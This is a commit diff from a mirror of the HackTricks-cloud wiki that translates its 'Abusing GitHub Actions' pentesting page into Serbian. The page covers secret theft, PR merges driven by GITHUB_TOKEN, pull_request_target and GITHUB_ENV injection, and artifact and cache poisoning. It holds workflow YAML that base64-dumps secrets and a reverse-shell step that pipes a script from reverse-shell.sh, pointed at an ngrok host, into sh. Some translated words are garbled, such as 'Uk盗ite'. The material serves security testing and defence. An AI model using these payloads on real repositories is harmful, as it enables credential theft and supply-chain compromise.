gitea-mirror/hacktricks-cloud
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks-cloud.git synced 2026-02-05 11:26:11 -08:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['src/README.md', 'src/banners/hacktricks-training.md', 'src/

Browse Source
This commit is contained in:
Translator
2024-12-31 20:24:43 +00:00
parent 10e2881a9b
commit 9ce07d92a3
245 changed files with 9883 additions and 12659 deletions
Download Patch File Download Diff File Expand all files Collapse all files

570
src/pentesting-ci-cd/github-security/abusing-github-actions/README.md
View File

@@ -4,389 +4,371 @@
## Basic Information
In this page you will find:
Na ovoj stranici ćete pronaći:
- A **summary of all the impacts** of an attacker managing to access a Github Action
- Different ways to **get access to an action**:
- Having **permissions** to create the action
- Abusing **pull request** related triggers
- Abusing **other external access** techniques
- **Pivoting** from an already compromised repo
- Finally, a section about **post-exploitation techniques to abuse an action from inside** (cause the mentioned impacts)
- **rezime svih uticaja** napadača koji uspe da pristupi Github Action
- Različite načine za **pristup akciji**:
- Imajući **dozvole** za kreiranje akcije
- Zloupotreba **okidača** povezanih sa pull request-om
- Zloupotreba **drugih tehnika spoljnog pristupa**
- **Pivotiranje** iz već kompromitovanog repozitorijuma
- Na kraju, odeljak o **tehnikama post-eksploatacije za zloupotrebu akcije iznutra** (uzrokovanje pomenutih uticaja)
## Impacts Summary
For an introduction about [**Github Actions check the basic information**](../basic-github-information.md#github-actions).
Za uvod o [**Github Actions proverite osnovne informacije**](../basic-github-information.md#github-actions).
If you can **execute arbitrary code in GitHub Actions** within a **repository**, you may be able to:
Ako možete **izvršiti proizvoljni kod u GitHub Actions** unutar **repozitorijuma**, možda ćete moći da:
- **Steal secrets** mounted to the pipeline and **abuse the pipeline's privileges** to gain unauthorized access to external platforms, such as AWS and GCP.
- **Compromise deployments** and other **artifacts**.
- If the pipeline deploys or stores assets, you could alter the final product, enabling a supply chain attack.
- **Execute code in custom workers** to abuse computing power and pivot to other systems.
- **Overwrite repository code**, depending on the permissions associated with the `GITHUB_TOKEN`.
- **Uk盗ite tajne** montirane na pipeline i **zloupotrebite privilegije pipeline-a** da dobijete neovlašćen pristup spoljnim platformama, kao što su AWS i GCP.
- **Komprimujete implementacije** i druge **artefakte**.
- Ako pipeline implementira ili skladišti resurse, mogli biste izmeniti konačni proizvod, omogućavajući napad na lanac snabdevanja.
- **Izvršite kod u prilagođenim radnicima** da zloupotrebite računske resurse i pivotirate na druge sisteme.
- **Prepišete kod repozitorijuma**, u zavisnosti od dozvola povezanih sa `GITHUB_TOKEN`.
## GITHUB_TOKEN
This "**secret**" (coming from `${{ secrets.GITHUB_TOKEN }}` and `${{ github.token }}`) is given when the admin enables this option:
Ova "**tajna**" (koja dolazi iz `${{ secrets.GITHUB_TOKEN }}` i `${{ github.token }}`) se daje kada administrator omogući ovu opciju:
<figure><img src="../../../images/image (86).png" alt=""><figcaption></figcaption></figure>
This token is the same one a **Github Application will use**, so it can access the same endpoints: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
Ovaj token je isti koji će **Github aplikacija koristiti**, tako da može pristupiti istim krajnjim tačkama: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
> [!WARNING]
> Github should release a [**flow**](https://github.com/github/roadmap/issues/74) that **allows cross-repository** access within GitHub, so a repo can access other internal repos using the `GITHUB_TOKEN`.
> Github bi trebao da objavi [**tok**](https://github.com/github/roadmap/issues/74) koji **omogućava međurepozitorijumski** pristup unutar GitHub-a, tako da repo može pristupiti drugim internim repozitorijumima koristeći `GITHUB_TOKEN`.
You can see the possible **permissions** of this token in: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token)
Možete videti moguće **dozvole** ovog tokena na: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token)
Note that the token **expires after the job has completed**.\
These tokens looks like this: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7`
Napomena da token **isteče nakon što je posao završen**.\
Ovi tokeni izgledaju ovako: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7`
Some interesting things you can do with this token:
Neke zanimljive stvari koje možete uraditi sa ovim tokenom:
{{#tabs }}
{{#tab name="Merge PR" }}
```bash
# Merge PR
curl -X PUT \
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/merge \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header "content-type: application/json" \
-d "{\"commit_title\":\"commit_title\"}"
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/merge \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header "content-type: application/json" \
-d "{\"commit_title\":\"commit_title\"}"
```
{{#endtab }}
{{#tab name="Approve PR" }}
{{#tab name="Odobri PR" }}
```bash
# Approve a PR
curl -X POST \
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/reviews \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header 'content-type: application/json' \
-d '{"event":"APPROVE"}'
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/reviews \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header 'content-type: application/json' \
-d '{"event":"APPROVE"}'
```
{{#endtab }}
{{#tab name="Create PR" }}
{{#tab name="Kreiraj PR" }}
```bash
# Create a PR
curl -X POST \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header 'content-type: application/json' \
https://api.github.com/repos/<org_name>/<repo_name>/pulls \
-d '{"head":"<branch_name>","base":"master", "title":"title"}'
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header 'content-type: application/json' \
https://api.github.com/repos/<org_name>/<repo_name>/pulls \
-d '{"head":"<branch_name>","base":"master", "title":"title"}'
```
{{#endtab }}
{{#endtabs }}
> [!CAUTION]
> Note that in several occasions you will be able to find **github user tokens inside Github Actions envs or in the secrets**. These tokens may give you more privileges over the repository and organization.
> Imajte na umu da ćete u nekoliko slučajeva moći da pronađete **github korisničke tokene unutar Github Actions envs ili u tajnama**. Ovi tokeni vam mogu dati više privilegija nad repozitorijumom i organizacijom.
<details>
<summary>List secrets in Github Action output</summary>
<summary>Lista tajni u Github Action izlazu</summary>
```yaml
name: list_env
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
jobs:
List_env:
runs-on: ubuntu-latest
steps:
- name: List Env
# Need to base64 encode or github will change the secret value for "***"
run: sh -c 'env | grep "secret_" | base64 -w0'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
List_env:
runs-on: ubuntu-latest
steps:
- name: List Env
# Need to base64 encode or github will change the secret value for "***"
run: sh -c 'env | grep "secret_" | base64 -w0'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
```
</details>
<details>
<summary>Get reverse shell with secrets</summary>
<summary>Dobijanje reverzne ljuske sa tajnama</summary>
```yaml
name: revshell
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
jobs:
create_pull_request:
runs-on: ubuntu-latest
steps:
- name: Get Rev Shell
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
create_pull_request:
runs-on: ubuntu-latest
steps:
- name: Get Rev Shell
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
```
</details>
It's possible to check the permissions given to a Github Token in other users repositories **checking the logs** of the actions:
Moguće je proveriti dozvole date Github Token-u u drugim korisničkim repozitorijumima **proverom logova** akcija:
<figure><img src="../../../images/image (286).png" alt="" width="269"><figcaption></figcaption></figure>
## Allowed Execution
## Dozvoljena Izvršenja
> [!NOTE]
> This would be the easiest way to compromise Github actions, as this case suppose that you have access to **create a new repo in the organization**, or have **write privileges over a repository**.
> Ovo bi bio najlakši način da se kompromituju Github akcije, jer ovaj slučaj podrazumeva da imate pristup **kreiranju novog repozitorijuma u organizaciji**, ili imate **privilegije pisanja nad repozitorijumom**.
>
> If you are in this scenario you can just check the [Post Exploitation techniques](./#post-exploitation-techniques-from-inside-an-action).
> Ako ste u ovom scenariju, možete samo proveriti [Post Exploitation techniques](./#post-exploitation-techniques-from-inside-an-action).
### Execution from Repo Creation
### Izvršenje iz Kreiranja Repozitorijuma
In case members of an organization can **create new repos** and you can execute github actions, you can **create a new repo and steal the secrets set at organization level**.
U slučaju da članovi organizacije mogu **kreirati nove repozitorijume** i možete izvršavati github akcije, možete **kreirati novi repozitorijum i ukrasti tajne postavljene na nivou organizacije**.
### Execution from a New Branch
### Izvršenje iz Nove Grane
If you can **create a new branch in a repository that already contains a Github Action** configured, you can **modify** it, **upload** the content, and then **execute that action from the new branch**. This way you can **exfiltrate repository and organization level secrets** (but you need to know how they are called).
You can make the modified action executable **manually,** when a **PR is created** or when **some code is pushed** (depending on how noisy you want to be):
Ako možete **kreirati novu granu u repozitorijumu koji već sadrži konfigurisan Github Action**, možete **modifikovati** to, **otpremiti** sadržaj, a zatim **izvršiti tu akciju iz nove grane**. Na ovaj način možete **ekstrahovati tajne na nivou repozitorijuma i organizacije** (ali morate znati kako se zovu).
Možete napraviti modifikovanu akciju izvršnom **ručno,** kada se **kreira PR** ili kada se **neki kod otpremi** (u zavisnosti od toga koliko želite da budete uočljivi):
```yaml
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- master
push: # Run it when a push is made to a branch
branches:
- current_branch_name
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- master
push: # Run it when a push is made to a branch
branches:
- current_branch_name
# Use '**' instead of a branh name to trigger the action in all the cranches
```
---
## Forked Execution
> [!NOTE]
> There are different triggers that could allow an attacker to **execute a Github Action of another repository**. If those triggerable actions are poorly configured, an attacker could be able to compromise them.
> Postoje različiti okidači koji bi mogli omogućiti napadaču da **izvrši Github akciju iz drugog repozitorijuma**. Ako su ti okidači loše konfigurisani, napadač bi mogao da ih kompromituje.
### `pull_request`
The workflow trigger **`pull_request`** will execute the workflow every time a pull request is received with some exceptions: by default if it's the **first time** you are **collaborating**, some **maintainer** will need to **approve** the **run** of the workflow:
Okidač radnog toka **`pull_request`** će izvršiti radni tok svaki put kada se primi pull request uz neke izuzetke: prema zadatku, ako je to **prvi put** da **saradjujete**, neki **održavaoc** će morati da **odobri** **izvršenje** radnog toka:
<figure><img src="../../../images/image (184).png" alt=""><figcaption></figcaption></figure>
> [!NOTE]
> As the **default limitation** is for **first-time** contributors, you could contribute **fixing a valid bug/typo** and then send **other PRs to abuse your new `pull_request` privileges**.
> Kako je **podrazumevano ograničenje** za **prvake** u doprinosima, mogli biste doprineti **ispravljanjem važeće greške/pravopisne greške** i zatim poslati **druge PR-ove da zloupotrebite svoje nove `pull_request` privilegije**.
>
> **I tested this and it doesn't work**: ~~Another option would be to create an account with the name of someone that contributed to the project and deleted his account.~~
> **Testirao sam ovo i ne radi**: ~~Druga opcija bi bila da kreirate nalog sa imenom nekoga ko je doprineo projektu i obrisao njegov nalog.~~
Moreover, by default **prevents write permissions** and **secrets access** to the target repository as mentioned in the [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories):
Pored toga, prema zadatku **sprečava pisane dozvole** i **pristup tajnama** ciljanom repozitorijumu kao što je pomenuto u [**dokumentaciji**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories):
> With the exception of `GITHUB_TOKEN`, **secrets are not passed to the runner** when a workflow is triggered from a **forked** repository. The **`GITHUB_TOKEN` has read-only permissions** in pull requests **from forked repositories**.
> Sa izuzetkom `GITHUB_TOKEN`, **tajne se ne prosleđuju izvršiocu** kada se radni tok pokrene iz **forkovanog** repozitorijuma. **`GITHUB_TOKEN` ima dozvole samo za čitanje** u pull request-ima **iz forkovanih repozitorijuma**.
An attacker could modify the definition of the Github Action in order to execute arbitrary things and append arbitrary actions. However, he won't be able to steal secrets or overwrite the repo because of the mentioned limitations.
Napadač bi mogao da izmeni definiciju Github akcije kako bi izvršio proizvoljne stvari i dodao proizvoljne akcije. Međutim, neće moći da ukrade tajne ili prepiše repozitorijum zbog pomenutih ograničenja.
> [!CAUTION]
> **Yes, if the attacker change in the PR the github action that will be triggered, his Github Action will be the one used and not the one from the origin repo!**
> **Da, ako napadač promeni u PR-u github akciju koja će biti pokrenuta, njegova Github akcija će biti ta koja će se koristiti, a ne ona iz originalnog repozitorijuma!**
As the attacker also controls the code being executed, even if there aren't secrets or write permissions on the `GITHUB_TOKEN` an attacker could for example **upload malicious artifacts**.
Kako napadač takođe kontroliše kod koji se izvršava, čak i ako nema tajni ili pisanih dozvola na `GITHUB_TOKEN`, napadač bi mogao, na primer, **da otpremi zlonamerne artefakte**.
### **`pull_request_target`**
The workflow trigger **`pull_request_target`** have **write permission** to the target repository and **access to secrets** (and doesn't ask for permission).
Okidač radnog toka **`pull_request_target`** ima **pisane dozvole** za ciljani repozitorijum i **pristup tajnama** (i ne traži dozvolu).
Note that the workflow trigger **`pull_request_target`** **runs in the base context** and not in the one given by the PR (to **not execute untrusted code**). For more info about `pull_request_target` [**check the docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\
Moreover, for more info about this specific dangerous use check this [**github blog post**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/).
Napomena: okidač radnog toka **`pull_request_target`** **izvršava se u osnovnom kontekstu** i ne u onom koji daje PR (da **ne izvršava nepouzdani kod**). Za više informacija o `pull_request_target` [**proverite dokumentaciju**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\
Pored toga, za više informacija o ovoj specifičnoj opasnoj upotrebi proverite ovaj [**github blog post**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/).
It might look like because the **executed workflow** is the one defined in the **base** and **not in the PR** it's **secure** to use **`pull_request_target`**, but there are a **few cases were it isn't**.
Može izgledati kao da je **izvršeni radni tok** onaj definisan u **osnovi** i **ne u PR-u**, pa je **sigurno** koristiti **`pull_request_target`**, ali postoje **neki slučajevi kada to nije**.
An this one will have **access to secrets**.
A ovaj će imati **pristup tajnama**.
### `workflow_run`
The [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) trigger allows to run a workflow from a different one when it's `completed`, `requested` or `in_progress`.
In this example, a workflow is configured to run after the separate "Run Tests" workflow completes:
Okidač [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) omogućava pokretanje radnog toka iz drugog kada je `završen`, `tražen` ili `u toku`.
U ovom primeru, radni tok je konfiguran da se izvrši nakon što se završi odvojeni "Pokreni testove" radni tok:
```yaml
on:
workflow_run:
workflows: [Run Tests]
types:
- completed
workflow_run:
workflows: [Run Tests]
types:
- completed
```
Moreover, according to the docs: Workflow pokrenut događajem `workflow_run` može **pristupiti tajnama i pisati tokene, čak i ako prethodni workflow nije**.
Moreover, according to the docs: The workflow started by the `workflow_run` event is able to **access secrets and write tokens, even if the previous workflow was not**.
This kind of workflow could be attacked if it's **depending** on a **workflow** that can be **triggered** by an external user via **`pull_request`** or **`pull_request_target`**. A couple of vulnerable examples can be [**found this blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** The first one consist on the **`workflow_run`** triggered workflow downloading out the attackers code: `${{ github.event.pull_request.head.sha }}`\
The second one consist on **passing** an **artifact** from the **untrusted** code to the **`workflow_run`** workflow and using the content of this artifact in a way that makes it **vulnerable to RCE**.
Ova vrsta workflow-a može biti napadnuta ako **zavisi** od **workflow-a** koji može biti **pokrenut** od strane spoljnog korisnika putem **`pull_request`** ili **`pull_request_target`**. Nekoliko ranjivih primera može se [**pronaći u ovom blogu**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** Prvi se sastoji od **`workflow_run`** pokrenutog workflow-a koji preuzima napadačev kod: `${{ github.event.pull_request.head.sha }}`\
Drugi se sastoji od **prosleđivanja** **artifact-a** iz **nepouzdanog** koda u **`workflow_run`** workflow i korišćenja sadržaja ovog artifact-a na način koji ga čini **ranjivim na RCE**.
### `workflow_call`
TODO
TODO: Check if when executed from a pull_request the used/downloaded code if the one from the origin or from the forked PR
TODO: Proveriti da li kada se izvršava iz pull_request-a korišćeni/preuzeti kod dolazi iz originala ili iz forkovanog PR-a
## Abusing Forked Execution
## Zloupotreba Forkovane Izvršavanja
We have mentioned all the ways an external attacker could manage to make a github workflow to execute, now let's take a look about how this executions, if bad configured, could be abused:
Pomenuli smo sve načine na koje spoljašnji napadač može uspeti da pokrene github workflow, sada hajde da pogledamo kako ove izvršavanja, ako su loše konfigurisane, mogu biti zloupotrebljene:
### Untrusted checkout execution
### Nepouzdan checkout izvršavanje
In the case of **`pull_request`,** the workflow is going to be executed in the **context of the PR** (so it'll execute the **malicious PRs code**), but someone needs to **authorize it first** and it will run with some [limitations](./#pull_request).
U slučaju **`pull_request`,** workflow će biti izvršen u **kontekstu PR-a** (tako da će izvršiti **maliciozni kod PR-a**), ali neko mora prvo da **autorizuje** i biće izvršen sa nekim [ograničenjima](./#pull_request).
In case of a workflow using **`pull_request_target` or `workflow_run`** that depends on a workflow that can be triggered from **`pull_request_target` or `pull_request`** the code from the original repo will be executed, so the **attacker cannot control the executed code**.
U slučaju workflow-a koji koristi **`pull_request_target` ili `workflow_run`** koji zavisi od workflow-a koji može biti pokrenut iz **`pull_request_target` ili `pull_request`**, kod iz originalnog repozitorijuma će biti izvršen, tako da **napadač ne može kontrolisati izvršeni kod**.
> [!CAUTION]
> However, if the **action** has an **explicit PR checkou**t that will **get the code from the PR** (and not from base), it will use the attackers controlled code. For example (check line 12 where the PR code is downloaded):
> Međutim, ako **akcija** ima **eksplicitni PR checkout** koji će **uzeti kod iz PR-a** (a ne iz osnove), koristiće napadačev kontrolisani kod. Na primer (proverite liniju 12 gde se preuzima kod PR-a):
<pre class="language-yaml"><code class="lang-yaml"># INSECURE. Provided as an example only.
<pre class="language-yaml"><code class="lang-yaml"># INSECURE. Pruženo samo kao primer.
on:
pull_request_target
pull_request_target
jobs:
build:
name: Build and test
runs-on: ubuntu-latest
steps:
build:
name: Build and test
runs-on: ubuntu-latest
steps:
<strong> - uses: actions/checkout@v2
</strong><strong> with:
</strong><strong> ref: ${{ github.event.pull_request.head.sha }}
</strong>
- uses: actions/setup-node@v1
- run: |
npm install
npm build
- uses: actions/setup-node@v1
- run: |
npm install
npm build
- uses: completely/fakeaction@v2
with:
arg1: ${{ secrets.supersecret }}
- uses: completely/fakeaction@v2
with:
arg1: ${{ secrets.supersecret }}
- uses: fakerepo/comment-on-pr@v1
with:
message: |
Thank you!
- uses: fakerepo/comment-on-pr@v1
with:
message: |
Hvala!
</code></pre>
The potentially **untrusted code is being run during `npm install` or `npm build`** as the build scripts and referenced **packages are controlled by the author of the PR**.
Potencijalno **nepouzdan kod se izvršava tokom `npm install` ili `npm build`** jer su skripte za izgradnju i referencirane **pakete pod kontrolom autora PR-a**.
> [!WARNING]
> A github dork to search for vulnerable actions is: `event.pull_request pull_request_target extension:yml` however, there are different ways to configure the jobs to be executed securely even if the action is configured insecurely (like using conditionals about who is the actor generating the PR).
> Github dork za pretragu ranjivih akcija je: `event.pull_request pull_request_target extension:yml` međutim, postoje različiti načini za konfiguraciju poslova da se izvršavaju sigurno čak i ako je akcija konfigurisana nesigurno (kao što je korišćenje uslovnih izraza o tome ko je akter koji generiše PR).
### Context Script Injections <a href="#understanding-the-risk-of-script-injections" id="understanding-the-risk-of-script-injections"></a>
### Kontekst Injekcije Skripti <a href="#understanding-the-risk-of-script-injections" id="understanding-the-risk-of-script-injections"></a>
Note that there are certain [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) whose values are **controlled** by the **user** creating the PR. If the github action is using that **data to execute anything**, it could lead to **arbitrary code execution:**
Napomena da postoje određeni [**github konteksti**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) čije vrednosti su **kontrolisane** od strane **korisnika** koji kreira PR. Ako github akcija koristi te **podatke za izvršavanje bilo čega**, to može dovesti do **izvršavanja proizvoljnog koda:**
{{#ref}}
gh-actions-context-script-injections.md
{{#endref}}
### **GITHUB_ENV Script Injection** <a href="#what-is-usdgithub_env" id="what-is-usdgithub_env"></a>
### **GITHUB_ENV Injekcija Skripti** <a href="#what-is-usdgithub_env" id="what-is-usdgithub_env"></a>
From the docs: You can make an **environment variable available to any subsequent steps** in a workflow job by defining or updating the environment variable and writing this to the **`GITHUB_ENV`** environment file.
Iz dokumenata: Možete učiniti **promenljivu okruženja dostupnom za sve naredne korake** u workflow poslu tako što ćete definisati ili ažurirati promenljivu okruženja i napisati to u **`GITHUB_ENV`** datoteku okruženja.
If an attacker could **inject any value** inside this **env** variable, he could inject env variables that could execute code in following steps such as **LD_PRELOAD** or **NODE_OPTIONS**.
Ako bi napadač mogao **ubaciti bilo koju vrednost** unutar ove **env** promenljive, mogao bi ubaciti env promenljive koje bi mogle izvršiti kod u narednim koracima kao što su **LD_PRELOAD** ili **NODE_OPTIONS**.
For example ([**this**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) and [**this**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), imagine a workflow that is trusting an uploaded artifact to store its content inside **`GITHUB_ENV`** env variable. An attacker could upload something like this to compromise it:
Na primer ([**ovo**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) i [**ovo**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), zamislite workflow koji veruje da je učitani artifact da čuva svoj sadržaj unutar **`GITHUB_ENV`** env promenljive. Napadač bi mogao da učita nešto poput ovoga da bi ga kompromitovao:
<figure><img src="../../../images/image (261).png" alt=""><figcaption></figcaption></figure>
### Vulnerable Third Party Github Actions
### Ranjive Treće Strane Github Akcije
#### [dawidd6/action-download-artifact](https://github.com/dawidd6/action-download-artifact)
As mentioned in [**this blog post**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), this Github Action allows to access artifacts from different workflows and even repositories.
Kao što je pomenuto u [**ovom blog postu**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), ova Github Akcija omogućava pristup artifact-ima iz različitih workflow-a i čak repozitorijuma.
The thing problem is that if the **`path`** parameter isn't set, the artifact is extracted in the current directory and it can override files that could be later used or even executed in the workflow. Therefore, if the Artifact is vulnerable, an attacker could abuse this to compromise other workflows trusting the Artifact.
Example of vulnerable workflow:
Problem je u tome što ako **`path`** parametar nije postavljen, artifact se ekstrahuje u trenutni direktorijum i može prepisati datoteke koje bi kasnije mogle biti korišćene ili čak izvršene u workflow-u. Stoga, ako je Artifact ranjiv, napadač bi mogao da zloupotrebi ovo da kompromituje druge workflow-e koji veruju Artifact-u.
Primer ranjivog workflow-a:
```yaml
on:
workflow_run:
workflows: ["some workflow"]
types:
- completed
workflow_run:
workflows: ["some workflow"]
types:
- completed
jobs:
success:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: download artifact
uses: dawidd6/action-download-artifact
with:
workflow: ${{ github.event.workflow_run.workflow_id }}
name: artifact
- run: python ./script.py
with:
name: artifact
path: ./script.py
success:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: download artifact
uses: dawidd6/action-download-artifact
with:
workflow: ${{ github.event.workflow_run.workflow_id }}
name: artifact
- run: python ./script.py
with:
name: artifact
path: ./script.py
```
This could be attacked with this workflow:
Ovo bi moglo biti napadnuto ovim radnim tokom:
```yaml
name: "some workflow"
on: pull_request
jobs:
upload:
runs-on: ubuntu-latest
steps:
- run: echo "print('exploited')" > ./script.py
- uses actions/upload-artifact@v2
with:
name: artifact
path: ./script.py
upload:
runs-on: ubuntu-latest
steps:
- run: echo "print('exploited')" > ./script.py
- uses actions/upload-artifact@v2
with:
name: artifact
path: ./script.py
```
---
## Other External Access
## Drugi Spoljni Pristup
### Deleted Namespace Repo Hijacking
### Otimanje Izbrisanog Namespace Repozitorijuma
If an account changes it's name another user could register an account with that name after some time. If a repository had **less than 100 stars previously to the change of nam**e, Github will allow the new register user with the same name to create a **repository with the same name** as the one deleted.
Ako nalog promeni svoje ime, drugi korisnik bi mogao da registruje nalog sa tim imenom nakon nekog vremena. Ako je repozitorijum imao **manje od 100 zvezdica pre promene imena**, Github će omogućiti novom registrovanom korisniku sa istim imenom da kreira **repozitorijum sa istim imenom** kao onaj koji je izbrisan.
> [!CAUTION]
> So if an action is using a repo from a non-existent account, it's still possible that an attacker could create that account and compromise the action.
> Dakle, ako neka akcija koristi repozitorijum sa nepostojećeg naloga, još uvek je moguće da napadač može da kreira taj nalog i kompromituje akciju.
If other repositories where using **dependencies from this user repos**, an attacker will be able to hijack them Here you have a more complete explanation: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
Ako su drugi repozitorijumi koristili **zavisnosti iz ovih korisničkih repozitorijuma**, napadač će moći da ih otme. Ovde imate potpunije objašnjenje: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
---
## Repo Pivoting
> [!NOTE]
> In this section we will talk about techniques that would allow to **pivot from one repo to another** supposing we have some kind of access on the first one (check the previous section).
> U ovom odeljku ćemo govoriti o tehnikama koje bi omogućile **pivotiranje sa jednog repozitorijuma na drugi**, pod pretpostavkom da imamo neku vrstu pristupa prvom (proverite prethodni odeljak).
### Cache Poisoning
### Trovanje Kešom
A cache is maintained between **wokflow runs in the same branch**. Which means that if an attacker **compromise** a **package** that is then stored in the cache and **downloaded** and executed by a **more privileged** workflow he will be able to **compromise** also that workflow.
Keš se održava između **izvršavanja radnih tokova u istoj grani**. Što znači da ako napadač **kompromituje** **paket** koji se zatim čuva u kešu i **preuzima** i izvršava ga **privilegovaniji** radni tok, on će moći da **kompromituje** i taj radni tok.
{{#ref}}
gh-actions-cache-poisoning.md
{{#endref}}
### Artifact Poisoning
### Trovanje Artefaktima
Workflows could use **artifacts from other workflows and even repos**, if an attacker manages to **compromise** the Github Action that **uploads an artifact** that is later used by another workflow he could **compromise the other workflows**:
Radni tokovi mogu koristiti **artefakte iz drugih radnih tokova i čak repozitorijuma**, ako napadač uspe da **kompromituje** Github Akciju koja **otprema artefakt** koji se kasnije koristi od strane drugog radnog toka, on bi mogao da **kompromituje druge radne tokove**:
{{#ref}}
gh-actions-artifact-poisoning.md
@@ -394,11 +376,11 @@ gh-actions-artifact-poisoning.md
---
## Post Exploitation from an Action
## Post Eksploatacija iz Akcije
### Accessing AWS and GCP via OIDC
### Pristupanje AWS i GCP putem OIDC
Check the following pages:
Proverite sledeće stranice:
{{#ref}}
../../../pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
@@ -408,170 +390,160 @@ Check the following pages:
../../../pentesting-cloud/gcp-security/gcp-basic-information/gcp-federation-abuse.md
{{#endref}}
### Accessing secrets <a href="#accessing-secrets" id="accessing-secrets"></a>
### Pristupanje tajnama <a href="#accessing-secrets" id="accessing-secrets"></a>
If you are injecting content into a script it's interesting to know how you can access secrets:
Ako ubacujete sadržaj u skriptu, zanimljivo je znati kako možete pristupiti tajnama:
- If the secret or token is set to an **environment variable**, it can be directly accessed through the environment using **`printenv`**.
- Ako je tajna ili token postavljen na **promenljivu okruženja**, može se direktno pristupiti kroz okruženje koristeći **`printenv`**.
<details>
<summary>List secrets in Github Action output</summary>
<summary>Lista tajni u izlazu Github Akcije</summary>
```yaml
name: list_env
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- '**'
push: # Run it when a push is made to a branch
branches:
- '**'
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- '**'
push: # Run it when a push is made to a branch
branches:
- '**'
jobs:
List_env:
runs-on: ubuntu-latest
steps:
- name: List Env
# Need to base64 encode or github will change the secret value for "***"
run: sh -c 'env | grep "secret_" | base64 -w0'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
List_env:
runs-on: ubuntu-latest
steps:
- name: List Env
# Need to base64 encode or github will change the secret value for "***"
run: sh -c 'env | grep "secret_" | base64 -w0'
env:
